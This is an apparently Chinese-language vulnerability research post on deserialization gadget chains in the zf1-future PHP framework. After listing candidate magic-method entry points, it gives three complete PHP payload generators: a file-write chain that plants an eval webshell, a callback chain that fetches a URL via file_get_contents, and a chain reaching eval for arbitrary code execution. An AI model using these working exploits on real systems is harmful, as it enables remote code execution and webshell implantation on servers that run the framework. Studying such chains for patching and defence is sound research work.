zf1-future反序列化利用链
寻找可延伸入口点
析构方法
全文存在相当多的析构方法
__call方法
Zend_Memory_Manager
->有参触发__call
方法
Zend_Queue_Stomp_Client
->有参触发__call
方法
Zend_Log
->无参触发__call
方法
Zend_Ldap_Collection
->无参触发__call
方法
Zend_Memory_AccessController
->无参触发__call
方法
Zend_Pdf_Parser
->无参触发__call
方法
Zend_Pdf_ElementFactory_Proxy
->无参触发__call
方法
Zend_Search_Lucene
->无参触发__call
方法
Zend_Search_Lucene_Proxy
->无参触发__call
方法
Zend_Service_LiveDocx
->无参触发__call
方法
Zend_Queue_Adapter_Activemq
->无参触发__call
方法
__toString方法
Zend_Mail_Protocol_Imap
->触发__toString
方法
Zend_Http_Response_Stream
->触发__toString
方法
反序列化方法
SQL操作
Zend_Db_Adapter_Abstract
可能存在SQL
操作
__call方法
Zend_Feed_Atom
->有参触发__call
方法
Zend_Feed_Rss
->有参触发__call
方法
Zend_Ldap_Node
->无参触发__call
方法
__toString方法
Zend_Mail_Storage_Mbox
->触发__toString
方法
反射调用
Zend_Server_Reflection_Function_Abstract
可能存在反射调用
反序列化利用链
文件写入链
入口点
Zend_Memory_Manager
类的析构方法

触发__call
魔术方法

进入log
方法

这里调用了一个write
方法,参数并不是完全可控的,是一个数组

这里存在一个完全可控的成员变量,通过array_merge
函数进行数组合并
这里可以覆盖相关值,变成一个键值完全可控的数组
继续查找write
方法

利用链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| <?php class Zend_Memory_Manager{ private $_backend; public function __construct(){ $this->_backend = new Zend_Log(); } }
class Zend_Log{ protected $_writers; protected $_extras; protected $_priorities; public function __construct(){ $this->_writers = array(new Zend_CodeGenerator_Php_File()); $this->_priorities = array("CLEAN" => "CLEAN"); $this->_extras = array( "timestamp" => null, "message" => null, "priority" => null, "priorityName" => null ); } }
class Zend_CodeGenerator_Php_File{ private $_filename; public $_sourceContent; protected $_isSourceDirty = false; public function __construct(){ $this->_filename = "E:/phpstudy/directory/phpstudy_pro/WWW/www.pincongaa.com/aaa.php"; $this->_sourceContent = '<?php @eval($_REQUEST["img"]);?>'; } }
echo urlencode(serialize(new Zend_Memory_Manager())); ?>
|
多参数调用
这个相对来说比较复杂一些
入口点选择是Zend_Mail_Storage_Mbox
的__wakeup
方法

此处的filemtime
函数可以触发__toString
方法
经过一系列的排除,这里选择的是Zend_Form_Element
类

跟进render
方法,这里存在一处任意render
调用

但是调用的前提是必须存在setElement
方法
此方法存在于一个抽象类中

选择一个继承自此抽象类的方法,最终选择Zend_Form_Decorator_Callback
类

此时可以调用任意类的任意方法
但是参数不可控,经过一番查找,直接调用是不太可能了,需要对数据进行处理
最终定位到另外一处render
方法,至于为什么不一开始调用此render
,是因为此render
所在类不存在setElement
方法

data经过跟踪是一个可控的数组

第一个参数值也是完全可控

但是由于第二个参数是数组,所以需要进一步处理
定位到Zend_Filter_Callback
类的filter方法

经过处理后的options第一个参数为我们传入的data数组,第二个为原来的options参数
可以构造
call_user_func_array('call_user_func_array',[[new A(),'m'],['dir']])
的形式
再找一个接盘类Zend_Validate_Callback

即可完成完全可控的参数
利用链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| <?php class Zend_Mail_Storage_Mbox{ protected $_filename; public function __construct(){ $this->_filename = new Zend_Form_Element(); } }
class Zend_Form_Element{ protected $_decorators; protected $_isPartialRendering = false; public function __construct(){ $this->_decorators = array(new Zend_Form_Decorator_Callback()); } }
class Zend_Form_Decorator_Callback{ protected $_callback; public function __construct(){ $this->_callback = array(new Zend_Config_Writer_Yaml(), "render"); } }
class Zend_Config_Writer_Yaml{ protected $_yamlEncoder; protected $_config; public function __construct(){ $this->_yamlEncoder = array(new Zend_Filter_Callback("call_user_func_array"), "filter"); $this->_config = new Zend_Config(); } }
class Zend_Config{ protected $_loadedSection; protected $_data; public function __construct(){ $this->_loadedSection = array(array("a")); $this->_data = array(new Zend_Validate_Callback(),"isValid"); } }
class Zend_Filter_Callback{ protected $_options; protected $_callback; public function __construct($obj){ $this->_callback = $obj; $this->_options = array(array("http://127.0.0.1:7777/aaaa")); } }
class Zend_Validate_Callback{ protected $_options; protected $_callback; public function __construct(){ $this->_callback = "file_get_contents"; $this->_options = array(); } }
echo urlencode(serialize(new Zend_Mail_Storage_Mbox())); ?>
|
效果

代码执行
直接在上面的基础上进行重点扩展即可,存在一个eval的调用

利用链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
| <?php class Zend_Mail_Storage_Mbox{ protected $_filename; public function __construct(){ $this->_filename = new Zend_Form_Element(); } }
class Zend_Form_Element{ protected $_decorators; protected $_isPartialRendering = false; public function __construct(){ $this->_decorators = array(new Zend_Form_Decorator_Callback()); } }
class Zend_Form_Decorator_Callback{ protected $_callback; public function __construct(){ $this->_callback = array(new Zend_Config_Writer_Yaml(), "render"); } }
class Zend_Config_Writer_Yaml{ protected $_yamlEncoder; protected $_config; public function __construct(){ $this->_yamlEncoder = array(new Zend_Filter_Callback("call_user_func_array"), "filter"); $this->_config = new Zend_Config(); } }
class Zend_Config{ protected $_loadedSection; protected $_data; public function __construct(){ $this->_loadedSection = array(array("a")); $this->_data = array(new Zend_Validate_Callback(),"isValid"); } }
class Zend_Filter_Callback{ protected $_options; protected $_callback; public function __construct($obj){ $this->_callback = $obj; $this->_options = array(array("1;@eval(\$_REQUEST['img'])")); } }
class Zend_Validate_Callback{ protected $_options; protected $_callback; public function __construct(){ $this->_callback = array(new Zend_Serializer_Adapter_PhpCode(),'unserialize'); $this->_options = array(); } }
class Zend_Serializer_Adapter_PhpCode{
}
echo urlencode(serialize(new Zend_Mail_Storage_Mbox())); ?>
|
效果

…